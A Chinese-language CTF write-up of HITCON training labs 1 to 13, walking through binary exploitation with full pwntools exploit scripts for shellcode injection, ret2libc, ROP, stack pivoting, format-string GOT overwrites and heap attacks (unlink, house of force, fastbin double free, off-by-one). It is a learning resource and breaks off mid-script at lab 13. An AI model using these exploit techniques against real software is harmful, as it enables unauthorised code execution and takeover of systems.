hitcon lab1-lab14

lab 1

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0840aeca8337fc97ba1134067d05ee2563b3f4ce, not stripped
checksec sysmagic 
[*] '/home/hu/Documents/hitcont/lab1/sysmagic'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

直接用gdb進行調試就行,把斷點下在scanf 處。
scanf
在此時查看buf內存
buf
輸入168217215(0xA06CA7F)
flag

lab2( pwnable.tw,可以在這上面試試遠程)

源碼

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
//可以看出什麼保護都沒有
//因爲存在這兩句話,所以不能直接get shell
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
//從這兩行代碼結合它什麼保護都沒有可以看出,需要我們自己構造shellcode,讀flag
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();

這裏給大家介紹兩種方法
int 0x80

#第一種,自己構造
#查系統調用,可以知道read 0x3, write 0x4,read 0x5 。
‘’‘我們需要構造
fd=open("flag")
read(fd,buf,0x100)
write(1,buf,0x100)
’‘’

exp

from pwn import *
from pwn import shellcraft 
context.log_level='debug'
# one

shellcode1= shellcraft.pushstr('/home/orw/flag')
shellcode1+=shellcraft.open('esp')
shellcode1+=shellcraft.read('eax','esp',0x100)
shellcode1+=shellcraft.write(1,'esp',0x100)
print(shellcode)
print(asm(shellcode))
#p=process('./orw.bin')
p= remote("chall.pwnable.tw","10001")
p.sendlineafter('shellcode:',asm(shellcode1))
print p.recvall()
p.close()
# two
#這裏還沒完全弄懂push 0x1010101;xor dword ptr [esp],0x1016660的意義
shellcode ='push 0x1010101;xor dword ptr [esp],0x1016660;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;xor ecx,ecx;xor edx,edx;;mov eax,0x5int 0x80;'\
'mov ebx,eax;mov ecx,esp;mov edx,0x100;mov al,0x3;int 0x80;'\
'xor ebx,ebx;mov bl,0x1;mov edx,0x100;xor eax,eax;mov al,0x4;int 0x80;'
p= remote("chall.pwnable.tw","10001")
p.sendlineafter('shellcode:',asm(shellcode))
print p.recvall()
p.close()

lab3

$ file ret2sc 
ret2sc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=31484b774646e78186848556eae669af027787ce, not stripped

$ checksec ret2sc 
[*] '/home/hu/Documents/hitcont/lab3/ret2sc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

什麼保護也沒開

  char s; // [esp+1Ch] [ebp-14h]
  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 0x32u);
  printf("Try your best:");
  return (int)gets(&s);

分析一下源碼,發現可以直接向那麼寫入shellcode,然後覆蓋用name地址覆蓋ret。
但是有一點需要注意,並不能直接通過ida裏面所給出s相對偏移來進行填充,需要在gdb裏面跑一下才能計算出具體的偏移
主要原因是有這行代碼

text:080484D0                 and     esp, 0FFFFFFF0h //會將ebp對其,使得ebp與s的相對偏移不在是0x14
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb5dbc --> 0xffffcf7c --> 0xffffd178 ("XDG_VTNR=7")
EBX: 0x0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcebc --> 0xf7e30c0b (<__GI___cxa_atexit+27>: add    esp,0x10)
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fb5870 --> 0x0
ESI: 0xf7fb4000 --> 0x1b1db0
EDI: 0xf7fb4000 --> 0x1b1db0
EBP: 0xffffced8 --> 0x0
ESP: 0xffffcea0 --> 0x80485d6 ("Try your best:")
EIP: 0x8048533 (<main+102>:     mov    DWORD PTR [esp],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048523 <main+86>: mov    DWORD PTR [esp],0x80485d6
   0x804852a <main+93>: call   0x8048380 <printf@plt>
   0x804852f <main+98>: lea    eax,[esp+0x1c]
=> 0x8048533 <main+102>:        mov    DWORD PTR [esp],eax
   0x8048536 <main+105>:        call   0x8048390 <gets@plt>
   0x804853b <main+110>:        nop
   0x804853c <main+111>:        leave
   0x804853d <main+112>:        ret
[------------------------------------stack-------------------------------------]
0000| 0xffffcea0 --> 0x80485d6 ("Try your best:")
0004| 0xffffcea4 --> 0x804a060 --> 0xa6b73 ('sk\n')
0008| 0xffffcea8 --> 0x32 ('2')
0012| 0xffffceac --> 0x0
0016| 0xffffceb0 --> 0x1
0020| 0xffffceb4 --> 0xffffcf74 --> 0xffffd151 ("/home/hu/Documents/hitcont/lab3/ret2sc")
0024| 0xffffceb8 --> 0xffffcf7c --> 0xffffd178 ("XDG_VTNR=7")
0028| 0xffffcebc --> 0xf7e30c0b (<__GI___cxa_atexit+27>:        add    esp,0x10)

offset = |esp +0x1c - ebp |=|0xffffcea0 +0x1c - 0xffffced8 |= 0x1c
payload = ‘a’* (0x1c +4) + p32(&name)
exp

from pwn import *
from pwn import shellcraft
context.log_level="debug"
p = process('./ret2sc')
name = 0x0804A060
shellcode = shellcraft.i386.linux.sh()
#print len(asm(shellcode))
p.sendafter('Name:',asm(shellcode))
payload = 'a'*(0x1c+4)+p32(name)
p.sendlineafter('Try your best:',payload)
p.interactive()

lab4

$ file ret2lib 
ret2lib: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c74b2683d6d3b99439c3e04d6d81b233e6a3b1b6, not stripped
$ checksec ret2lib 
[*] '/home/hu/Documents/hitcon_train/lab4/ret2lib'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

漏洞點

main
{
  ...
  v8 = (_DWORD *)strtol(&buf, v3, v4);//我們要通過輸入一個10進制的地址(隨便找一個地址轉換成10進制就行)
  ···
  read(0, &src, 0x100u);
  Print_message(&src);
  ...
  }
Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h] 

  strcpy(&dest, src); //覆蓋ret
  return printf("Your message is : %s", &dest);
}

exp

from pwn import *
from LibcSearcher import *
import time
context.log_level = 'debug'
p = process('./ret2lib')
elf = ELF('./ret2lib')
main = 0x0804857D
raw_input()
#################### leak ##########################
p.recvuntil('Give me an address (in dec) :')

p.send(str(134514000))

p.recvuntil('Leave some message for me :')

#print elf.plt['puts']
payload = 'a'*(0x38+4) + p32(elf.plt['puts']) +p32(main) + p32(elf.got['puts']) +'\x00'
p.send(payload)
length = len('Your message is : '+payload)-1
put_libc = p.recv()[length:length+4].ljust(4,'\x00')
puts = u32(put_libc)

##################### get system binsh ##################

libc = LibcSearcher('puts',puts)
libcbase = puts - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh') 
print('system=',hex(system),'binsh=',hex(binsh))

##################### getshell ######################

p.send(str(134514000))
p.recvuntil('Leave some message for me :')
payload = 'a'*(0x38+4) + p32(system) +'dead' + p32(binsh) +'\x00'
p.send(payload)
#p.recv()//疑問點
p.interactive()

在這個程序裏面,有個疑問點。爲什麼不用接受第二次調用Print_message(&src)函數–>printf(“Your message is : %s”, &dest);中發出的字符串?對printf 的內部結構還需要進一步瞭解。

lab5

$ file simplerop 
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
$ checksec simplerop 
[*] '/home/hu/Documents/hitcon_train/lab5/simplerop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源碼

  int v4; // [esp+1Ch] [ebp-14h]

  puts((int)"ROP is easy is'nt it ?");
  printf((int)"Your input :");
  fflush(stdout);
  return read(0, &v4, 100)

這道題並不像以往一樣有動態鏈接庫,它是靜態鏈接的statically linked。所以我們並不能像之前一樣泄露libc,得到libc base,然後計算出system ,bin_sh,我們必須換種思路。
我們利用ROPgadget跑一下,找到一些gadget。構造execve("/bin/sh")。

  1. 先利用mov dword ptr [edx], eax ; ret向bss段寫入"/bin/sh"
  2. int 0x80; eax=0xb; ebx=bss; ecx=0; edx=0。int 0x80; eax=0xb; ebx=bss; ecx=0; edx=0。

       [+] Gadget found: 0x80493e1 int 0x80
        p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806e82a) # pop edx ; ret
        p += pack('<I', 0x080bae06) # pop eax ; ret
        0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
pop_edx_ecx_ebx = 0x0806e850
int_80 =0x080493e1
bss = 0x80ea060
#pop_ecx_pop_ebx = 0x0806e851
pop_edx = 0x0806e82a
pop_eax = 0x80bae06
mov_ledxl_eax = 0x809a15d
payload = 'a'*(0x1c+4)+p32(pop_edx)+p32(bss)+p32(pop_eax)+'/bin'+p32(mov_ledxl_eax)
payload += p32(pop_edx)+p32(bss+4)+p32(pop_eax)+'/sh\x00'+p32(mov_ledxl_eax)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(pop_eax)+p32(0xb)
#payload +=p32(pop_ecx_pop_ebx)+p32(0)+p32(bss)+p32(pop_edx)+p32(0)+p32(pop_eax)+p32(0xb)
payload +=p32(int_80)

完整exp

from pwn import *
context.log_level = 'debug'
p=process('./simplerop')


pop_edx_ecx_ebx = 0x0806e850
int_80 =0x080493e1
bss = 0x80ea060
pop_ecx_pop_ebx = 0x0806e851
pop_edx = 0x0806e82a
pop_eax = 0x80bae06
mov_ledxl_eax = 0x809a15d
payload = 'a'*(0x1c+4)+p32(pop_edx)+p32(bss)+p32(pop_eax)+'/bin'+p32(mov_ledxl_eax)
payload += p32(pop_edx)+p32(bss+4)+p32(pop_eax)+'/sh\x00'+p32(mov_ledxl_eax)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(pop_eax)+p32(0xb)
#payload +=p32(pop_ecx_pop_ebx)+p32(0)+p32(bss)+p32(pop_edx)+p32(0)+p32(pop_eax)+p32(0xb)
payload +=p32(int_80)
p.sendafter('Your input :',payload)

p.interactive()

有個疑問,當傳入int 0x80的三個參數時,如果分開傳會有問題,pop_ecx_pop_ebx_ret+pop_edx_ret 無法達到 pop_edx_ecx_ebx_ret的效果。望路過的大神們指點!!!

lab6

$ file migration
migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped
$ checksec migration
[*] '/home/hu/Documents/hitcon_train/lab6/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源碼

  char buf; // [esp+0h] [ebp-28h]

  if ( count != 1337 ) // 限制了我們再次調用main函數
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, &buf, 0x40u);//0x40 - 0x28 -4 =20 =5個32位代碼片

這次的rop比以往要難一些,我們的輸入很少,而且只能調用main函數一次。
所以要用到棧遷移。
解釋一下用到的關鍵gadget ----> leave
leave = mov esp,ebp ; pop ebp;

from pwn import *
from LibcSearcher import *
context.log_level ='debug'
elf = ELF('./migration')
p = process('./migration')
buf1 = elf.bss()+0x600 #我們需要在bss段找到一個地方存放rop chain
buf2 = elf.bss()+0x700 
leave = 0x08048418
pop_1 = 0x0804836d
#0x08048418 : leave ; ret
#0x0804836d : pop ebx ; ret
##########esp from strack to bss,add read size##########
payload = 'a'*0x28
payload+=p32(buf1)+p32(elf.plt['read'])+p32(leave)+p32(0)+p32(buf1)+p32(0x100) #當main函數leave 時,ebp 被賦 buf1,當執行到 payload中的leave時,mov esp,ebp 就將esp轉向buf1。
p.sendafter('Try your best :\n',payload)

########## leak ###################

payload1 = p32(buf2)+p32(elf.plt['puts'])+p32(pop_1)+p32(elf.got['puts'])+p32(elf.plt['read'])+p32(leave)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload1)
puts_adr = p.recv(4).ljust(4,'\x00')

puts = u32(puts_adr)
print puts
#########get system ,binsh
libc = LibcSearcher('puts',puts)
libcbase = puts - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
print(hex(system),hex(binsh))

#########get shell

payload2 = p32(buf1)+p32(system)+p32(0)+p32(binsh)
p.send(payload2)



p.interactive()

lab7

$ file crack
crack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=66ea82f29539f0da4643036bca734fcd9b4791f9, not stripped
$ checksec crack
[*] '/home/hu/Documents/hitcon_train/lab7/crack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源碼

  v8 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  v3 = time(0);
  srand(v3);
  fd = open("/dev/urandom", 0);
  read(fd, &password, 4u);
  printf("What your name ? ");
  read(0, &buf, 0x63u);
  printf("Hello ,");
  printf(&buf); //格式化字符串漏洞
  printf("Your password :");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == password )
  {
    puts("Congrt!!");
    system("cat /home/crack/flag");
  }
  else
  {
    puts("Goodbyte");
  }

可以利用printf重寫password,或者將system_plt 寫入atoi_got,或者利用%s leak password

exp1:重寫password

from pwn import *
context.log_level ='debug'
password = 0x0804A048
p = process('./crack')
#p.sendafter('What your name ? ',)
offset = 10
# def payload1(n):
#     return ('abcd'+'%'+str(n)+'$p'+'%p-'*30)
payload = fmtstr_payload(10,{password:1234})
p.sendafter('What your name ? ',payload)
p.sendafter('Your password :','1234')
recv =p.recv()
p.interactive()

exp2:將system_plt 寫入atoi_got

from pwn import *
context.log_level ='debug'
password = 0x0804A048
elf = ELF('./crack')
p = process('./crack')
atoi = elf.got['atoi']
system = elf.plt['system']
paylaod = fmtstr_payload(10,{atoi:system})
p.sendafter('What your name ? ',paylaod)
p.sendafter('Your password :',ls'/bin/sh\x00')
p.interactive()

exp3: leak password

from pwn import *
context.log_level ='debug'
password = 0x0804A048
elf = ELF('./crack')
p = process('./crack')
payload =  p32(password) + '|%10$s|'
p.sendafter('What your name ? ',payload)
p.recvuntil('|')
leak = u32(p.recvuntil('|',drop=True))
p.sendafter('Your password :',str(leak))
p.recv()
p.interactive()

lab8

題目很簡單
先算出格式化字符串的相對偏移
然後直接用pwntools 中的fmtstr_payload 構造出相應payload改寫magic
exp

from pwn import *
context.log_level='debug'
p = process('./craxme')
p.recvuntil('Give me magic :')
magic = 0x0804A038

offset = 7
##計算offset的function
# def payload1(n):
#     return ('abcd'+'%p-'*n)
# p.send(payload1(30))
# recv=p.recv()
# li = recv.split('-')
# new = []
# offset =0
# for i in li:
#     offset+=1
#     if i == '0x64636261':
#         print('offset='+str(offset))
#         break


payload = fmtstr_payload(offset,{magic:218})
p.send(payload)
p.recv()
p.interactive()

lab9

這個有點難度了,在做的時候,遇到了很多坑
source code

int do_fmt()
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u); //buf是bss,不在棧上
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}

因爲輸入在bss上,所以無法通過直接在棧上構造payload來leak libc函數和覆寫got表。
因爲我們要利用%x、%s來leak,%n來覆寫,需要一個指針鏈才能利用這些格式參數
在這裏我們要利用棧上的ebp鏈
ebp

利用過程

1. 選擇兩個相鄰的ebp,計算出格式化字符串與他們的距離,同時我們還需要兩個地方用來存printf 的got表。在這裏我們選擇與兩個ebp相鄰的單元。(這是因爲相鄰的單元裏面存的是.text段的地址,這樣在後面我們改寫爲相應的got表地址時只需要改兩個字節就可以了,不需要改太多)
在gdb裏面跑一下,我們可以很容易的得到這些
 ebp1_offset =6 ;f_7_offset =7;ebp2_offset =10;f_11_offset=11
2. 通過 payload = '%6$x'泄露出ebp2 地址,從而可以計算出f_7、ebp2、f_11的地址。
3. 通過 payload = '%'+str(f_7)+'c%6$hn'將ebp2中存的值改爲f_7。這樣我們能通過ebp2來改寫f_7中存的值了,爲什麼不直接把ebp2中的值給改爲printf_got呢?
		-  ebp2裏面存的是stack的地址,我們如果要改寫的話,必須使用%n,而如果使用%n的話,需要的時間非常的長,筆者試過了,跑到後面就出錯了。
		-  所以在這裏利用ebp2來改寫f_7,因爲f_7中存的是函數返回值,前面高兩位字節與我們printf_got表的值是一樣的
4. 通過payload ='%'+str(printf_got&0xffff)+'c%10$hn',將printf_got的後兩個字節寫入f_7,但是f_7存的是完整的printf_got。
5. 通過payload = '%'+str(f_11)+'c%6$hn'將ebp2中存的值改爲f_11。
6. 通過payload ='%'+str(printf_got+2)+'c%10$hn',將printf_got的前兩個字節寫入f_11
7. 通過payload ='%7$s' leak出printf_libc地址,得到system
8. 通過payload ='%'+str(system&0xffff)+'c%7$hn'
	  payload+='%'+str(system>>16-system&0xffff)+'c%11$hn' #這裏是因爲%hn所寫的是前面所有輸出字符的總的個數,所以這裏要減去前面輸入的system&0xffff個字符
9. send('/bin/sh\x00') getshell

完整exp

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
p = process('./playfmt')
elf =ELF('./playfmt')
def ready():
    p.recvuntil('Server\n')
    p.recvuntil('=====================\n')
# 0xffffce80 fmst
# stack  0xffffce98 --> 0xffffcea8 --> 0xffffceb8 
offset1 = (0xffffce98 - 0xffffce80)/4
offset2 = (0xffffcea8 - 0xffffce80)/4
print offset1,offset2
#######################get ebp#################
ready()
printf_got = elf.got['printf']
payload ='%'+str(offset1)+'$x' #ebp2
p.send(payload)
ebp=p.recv()

ebp2=int(ebp[:8],16)
ebp1=ebp2 - (offset2-offset1)*4
f_7 = ebp1+0x4
f_11 = ebp2+0x4
print ebp1,ebp2,f_7,f_11



################leak printf libc#########
payload1 = '%'+str(f_7&0xffff)+'c%6$hn\x00'
p.send(payload1)
p.recv()
payload2 = '%'+str(printf_got&0xffff)+'c%10$hn\x00'
p.send(payload2)
p.recv()
while True:#recv()一次只能接受0x1000個字節,所以我們要將前面輸入的大量字符給recv()完,
    p.send('huhua')#在這裏,我們給這些字符串做個標記‘huhua’,當我們接受不到帶有這個標記
    sleep(0.1)#的字符串後,代表前面%hn寫的數據已經全部接受完。
    data = p.recv()
    if data.find('huhua') != -1:
        break

payload1 = '%'+str(f_11&0xffff)+'c%'+str(offset1)+'$hn\x00'
p.send(payload1)
p.recv()
payload2 = '%'+str((printf_got+2)&0xffff)+'c%'+str(offset2)+'$hn\x00'
p.send(payload2)
p.recv()
while True:
    p.send('huhua')
    sleep(0.1)
    data = p.recv()
    if data.find('huhua') != -1:
        break


payload='aaaa%'+'7$s'
p.send(payload)
p.recvuntil('aaaa')
printf = u32(p.recv()[:4])
print printf
libc = LibcSearcher('printf',printf)
libcbase = printf - libc.dump('printf')
system = libcbase + libc.dump('system')
print libcbase,system


###########write system to printf_got##########
payload = '%'+str(system&0xffff)+'c%7$hn'
payload+='%'+str((system>>16)-system&0xffff)+'c%11$hn'
p.send(payload)
p.recv()

while True:
    p.send('huhua')
    sleep(0.1)
    data = p.recv()
    if data.find('huhua')!=-1 :
        break
#############get shell######################
p.send('/bin/sh\x00')
p.interactive()

lab10

終於到堆得學習了。。。
這道題目之前做過,是個use_after_free類型的題,結合了一下fast bin的特點。
直接貼鏈接了點點
exp

from pwn import *
context.log_level='debug'
p = process('./hacknote')

elf = ELF('./hacknote')
magic =0x08048986
def add_note(size,content):
    p.send('1')
    p.sendafter('Note size :',str(size))
    p.sendafter('Content :',content)
    p.recvuntil('Success !\n')
def del_note(index):
    p.send('2')
    p.sendafter('Index :',str(index))
    p.recvuntil('Success\n')
def printf_note(index):
    p.send('3')
    p.sendafter('Index :',str(index))
def menu():
    p.recvuntil('Your choice :')

menu()
add_note(30,'a'*7)
menu()
add_note(30,'a'*7)
menu()
del_note(0)
menu()
del_note(1)

menu()
add_note(8,p32(magic))

menu()
printf_note(0)

p.interactive()

lab11

方法一

這是一個堆題,我想到的方法是unlink。第一次完全自己剛出來的,開心一下~~
貼一下漏洞

//關鍵是這個change函數,我們在add函數裏面創建了
//chunk,但是在change的時候可以進行任意長度的寫
//使得我們可以很方便的構造chunk,進行unlink
change{
...
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
...
}

step1 — 基本工作

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p = process('./bamboobox')

elf = ELF('./bamboobox')

def show():
    p.sendafter('Your choice:','1')
    return(p.recvuntil('----------------------------\n',drop=True))

def add(length,name):
    p.sendafter('Your choice:','2')
    p.sendafter('Please enter the length of item name:',str(length))
    p.sendafter('Please enter the name of item:',name)

def change(index,length,name):
    p.sendafter('Your choice:','3')
    p.sendafter('index of item:',str(index))
    p.sendafter('length of item name:',str(length))
    p.sendafter('name of the item:',name)

def remove(index):
    p.sendafter('Your choice:','4')
    p.sendafter('the index of item:',str(index))
    p.recvuntil('remove successful!!\n')

itemlist =0x00000000006020C0 #length
name =0x00000000006020C8 #name malloc_ptr
aim=name+0x10*2 #這是我們最重要寫的地方,要寫的數據是fd
fd =aim -0x18#避過檢查
bk =aim -0x10
 #after unlink ,*aim will = fd

add(0x90,'a'*30)#0
add(0x90,'a'*30)#1
add(0x90,'a'*30)#2 ##在chunk2裏面構造chunk
add(0x90,'a'*30)#3 ##通過free chunk3,實現unlink
add(0x90,'a'*30)#4

step2 — unlink

payload = p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0) 
change(2,len(payload),payload)

remove(3)

實現對aim寫fd的值

step3—leak free_got to get libcbase and system

payload = p64(0x90)+p64(elf.got['free'])
change(2,len(payload),payload)

recv = show()[0x26:(0x26+6)].ljust(8,'\x00')
free_got = u64(recv)
print(hex(u64(recv)))

libc =LibcSearcher('free',free_got)
libcbase = free_got - libc.dump('free')
system = libcbase + libc.dump('system')

因爲現在的qword_6020C8[2](存name地址的地方)已經存了
qword_6020C8[1]-0x8的地址,所以我們輸入p64(任
意)+p64(free_got)通過change index=2 來改變qword_6020C8[1]
爲free_got,然後通過show 來leak free 的libc,從而算出system。

step4

現在就要利用了,關於利用,第一個想到的是用system 覆寫free的got表,但是我試了多次,發現free的got表修改不了,可能是受了保護。只能另尋對象了,最後找到了
perfect
atoi函數。非常友好。於是利用一波。

step5 —getshell

payload = p64(0x90)+p64(elf.got['atoi'])
change(2,len(payload),payload)

change(1,0x8,p64(system))

p.sendafter('Your choice:','/bin/sh\x00')

p.interactive()

完整exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p = process('./bamboobox')

elf = ELF('./bamboobox')

def show():
    p.sendafter('Your choice:','1')
    return(p.recvuntil('----------------------------\n',drop=True))

def add(length,name):
    p.sendafter('Your choice:','2')
    p.sendafter('Please enter the length of item name:',str(length))
    p.sendafter('Please enter the name of item:',name)

def change(index,length,name):
    p.sendafter('Your choice:','3')
    p.sendafter('index of item:',str(index))
    p.sendafter('length of item name:',str(length))
    p.sendafter('name of the item:',name)

def remove(index):
    p.sendafter('Your choice:','4')
    p.sendafter('the index of item:',str(index))
    p.recvuntil('remove successful!!\n')

itemlist =0x00000000006020C0 #length
name =0x00000000006020C8 #name malloc_ptr
aim=name+0x10*2
fd =aim -0x18
bk =aim -0x10
 #after unlink ,*aim will = fd

add(0x90,'a'*30)#0
add(0x90,'a'*30)#1
add(0x90,'a'*30)#2
add(0x90,'a'*30)#3
add(0x90,'a'*30)#4

#####################unlink#################################################
payload = p64(0)+ p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0)
change(2,len(payload),payload)

remove(3)
#####################leak free_got to get libcbase and system################
payload = p64(0x90)+p64(elf.got['free'])
change(2,len(payload),payload)

recv = show()[0x26:(0x26+6)].ljust(8,'\x00')
free_got = u64(recv)
print(hex(u64(recv)))

libc =LibcSearcher('free',free_got)
libcbase = free_got - libc.dump('free')
system = libcbase + libc.dump('system')
#####################change atoi_got to system######################################

payload = p64(0x90)+p64(elf.got['atoi'])
change(2,len(payload),payload)

change(1,0x8,p64(system))

p.sendafter('Your choice:','/bin/sh\x00')

p.interactive()

方法二

house of force
在能堆溢出的情況下進行使用
通過修改top chunk size,實現任意地址寫。
在這裏插入圖片描述
基本步驟如下(假設是64位程序)

  • malloc(size) 得到 chunk y (大小任意)(假設y這裏指向的是這個chunk的presize域)
  • 向y中填充 ‘a’*size +p64(0)+p64(0xffffffffffffffff)
  • 假如想要修改的目標地址是 aim,那麼我們接下來要malloc((aim-0x10)-(y-0x10)-size-0x10) =malloc(offset_aim2y- size- 0x30)
    在這裏插入圖片描述
  • malloc(0x10),就可以對aim進行任意寫了

針對這道題的話,它先申請了一個0x10的chunk,裏面存放了兩個函數地址,在輸入‘5’以後就執行chunk裏面的函數,所以我們只要把magic寫入這個chunk裏面就行
exp

from pwn import *



context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']

p = process('./bamboobox')



def show():
    p.sendafter('Your choice:','1')


def add(length,name):
    p.sendafter(':','2')
    p.sendafter('Please enter the length of item name:',str(length))
    p.recvuntil(':')
    p.send(name)

def change(index,length,name):
    p.sendafter(':','3')
    p.sendafter(':',str(index))
    p.sendafter(':',str(length))
    p.sendafter(':',name)

def remove(index):
    p.sendafter('Your choice:','4')
    p.sendafter('the index of item:',str(index))
    p.recvuntil('remove successful!!\n')


magic=0x0000000000400D49

aim2y = -0x10
size =0x60
add(size, "ddaa")  
payload = size * 'a' 
payload += p64(0)+ p64(0xffffffffffffffff)  

change(0, size+0x10, payload)


malloc_size = aim2y-size-0x30

add(malloc_size, "dada")
sleep(0.1)
show() #這裏經常會有bug,通過加一show,把bug避過去
p.sendafter(':','2')
p.sendafter('Please enter the length of item name:',str(0x10))
p.recvuntil(':')
#pwnlib.gdb.attach(p)
p.send(p64(magic)*2)
p.recv()
p.send('5')
p.interactive()

lab12

這裏用到的知識點是fastbin 中的 doublefree。(64位)
這裏面要滿足兩個檢查

  1. free 的檢查
	/* Check that the top of the bin is not the record we are going to add
	   (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  {
	    errstr = "double free or corruption (fasttop)";
	    goto errout;
	  }

在這裏插入圖片描述
要想doublefree ,必須在free相同的塊的兩次之間插一次相同大小的chunk的free。
2. malloc 的檢查

#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}

這個檢測表示我們要構造的fake chunk的size域經過>>4後一定要滿足它所在的fast bin單鏈表的下標,並且由於它的類型是(unsigned int),所以我們只要注意他的後四個字節就行。其實也就是fake chunk的size域要和我們free的chunk size一樣。
整個流程如下
在這裏插入圖片描述
比如說我們要覆寫got表,我們就要在got表中找到一個合適的地方。我們的free的chunk的size是0x60,那麼我們在got表處找到0x601ffa,它的size域滿足條件。
在這裏插入圖片描述

題目比較簡單,就直接貼exp了

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
elf =ELF('./secretgarden')
p = process('./secretgarden')
def DEBUG(instruction,chose):
    if chose ==1:
        pwnlib.gdb.attach(p,instruction)
    else :
        pwnlib.gdb.attach(p)
def add(size,name,color):
    p.sendlineafter(': ','1')
    p.sendlineafter(':',str(size))
    p.sendafter(':',name)
    p.sendlineafter(':',color)
def visit():
    p.sendafter(': ','2')
    return p.recv()
def remove(index):
    p.sendlineafter(': ','3')
    p.sendlineafter(':',str(index))

def clean():
    p.sendafter(': ','4')
def exit():
    p.sendafter(': ','5')

magic = 0x0000000000400C7B
flowerlist = 0x00000000006020E0
instruction ='''
x/32xg 0x00000000006020E0
x/32xg 0x0000000000601FF8
'''

add(0x50,'abcd','1111')
add(0x50,'abcd','1111')

remove(0)
remove(1)
remove(0)
#DEBUG(instruction,1)
payload = p64(0x000000000601FFa)
add(0x50,payload,'1111')
add(0x50,'efgh','2222')
add(0x50,'abcd','1111')
add(0x50,'a'*6+p64(magic)*3,'1111')


p.interactive()

lab13

這是一個 利用off-by-one,實現chunk overlapping的題。
在這裏面漏洞點主要在edit 裏面的read
函數,多輸入了一個數在這裏插入圖片描述
所以我們可以通過申請0x18類似的chunk,使得系統將後一個chunk的presize域作爲該chunk的一部分。使得我們的最後一個字節可以修改到後一個chunk的size域。
我們通過修改後一個chunk的size域使得再次申請的兩個chunk,大的chunk包含小的chunk,從而實現任意地址的讀寫。

add(0x18,'123')
add(0x10,'123')
payload = '/bin/sh\x00'+p64(0)+p64(0)+'\x41'
edit(0,payload)
delete(1)

在這裏插入圖片描述
在這裏插入圖片描述

完整exp

from pwn import *
from LibcSearcher import *
context.log_level ='debug'
